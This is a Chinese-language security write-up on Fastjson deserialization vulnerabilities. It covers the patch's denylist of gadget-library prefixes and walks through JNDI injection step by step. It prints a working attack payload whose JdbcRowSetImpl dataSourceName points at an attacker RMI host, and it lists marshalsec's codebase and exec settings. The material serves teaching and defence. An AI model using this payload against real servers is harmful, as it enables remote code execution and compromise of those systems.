Fastjson反序列化介绍

Java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。

Fastjson序列化和反序列化:

  • Fastjson序列化:通过JSON.toJSONString()方法,将对象转化成JSON格式的字符串
  • Fastjson反序列化:JSON.parseObject()方法,将JSON格式的字符串转化成对象

Fastjson反序列化漏洞介绍

官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。

基于JNDI的利用过程图解

背景介绍

  • 被攻击服务器能解析json载荷,并且存在fastjson漏洞。
  • 攻击者服务器开启了rmi服务(通常为1099端口)和http服务(其它文件服务也行,如ftp)

攻击POC

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://172.16.55.180:1099/Exploit",
    "autoCommit":true
}

攻击过程详解

  • 步骤1,攻击者向被攻击者发送序列化后的json攻击payload
  • 步骤2,被攻击者服务器解析攻击payload后,通过jndi接口连接payload中的rmi服务器(该服务器需要为黑客控制的服务器)
  • 步骤3,攻击者服务器的rmi服务通过了其请求,返还其请求的对象。(可以是对象的codebase地址)
  • 步骤4,被攻击服务器收到对象后,发现本地不存在,接着向攻击者提供的远程对象地址请求对象,也就是请求攻击者服务器的http端口上的class文件。
  • 步骤5,攻击者服务器的http服务返回class文件到被攻击者服务器。被攻击者执行class文件中的恶意代码。

从数据包的角度看下整个过程

从上图可以看出两点

  1. 被攻击服务器首先连接了黑客提供的rmi接口。
  2. 被攻击服务器在本地未找到类对象的时候,又去访问了黑客提供的codebase代码,也就是http服务提供的class文件。

讲一下什么是codebase。

这个在我看marshalsec的时候,发现利用里有如下的内容

exploit.jndiUrl, defaults to ldap://localhost:1389/obj
exploit.codebase, defaults to http://localhost:8080/
exploit.codebaseClass, defaults to Exploit
exploit.exec, defaults to /usr/bin/gedit

其实现在看来,就是jndi注入的四个先决条件。

  1. exploit.jndiUrl的意思,攻击者要传递的jndi地址,比如rmi的,ldap的。
  2. exploit.codebase的意思,攻击者提供的http服务器,提供下载远程class的地址。
  3. exploit.codebaseClass的意思,攻击者在http服务器提供下载类的名称。默认的名称为Exploit,因此生成的poc的就会访问 http://localhost:8080/Exploit.class
  4. exploit.exec的意思,攻击者执行的恶意命令

其他知识思考

之前在研究Java反序列化的时候,思维惯性认为Java反序列化的漏洞的利用方式都是跟Java原生的ObjectInputStream 类的 readObject() 方法似的,直接解析一个存在漏洞的库,如Apache Commons Collections。但是基于Jndi的利用方式就一直搞不懂。

其实基于Jndi的利用方式跟原来的利用方式是类似的,只是反序列化后又进行了几次自身请求外部对象操作,本质上是通过反序列化漏洞进行Jndi注入(Java代码注入)。原来反序列化漏洞是直接进行RCE,基于JNDI的反序列化利用是Java代码注入。

最后感谢ninty师傅在工作中帮我捋清思路。

参考文章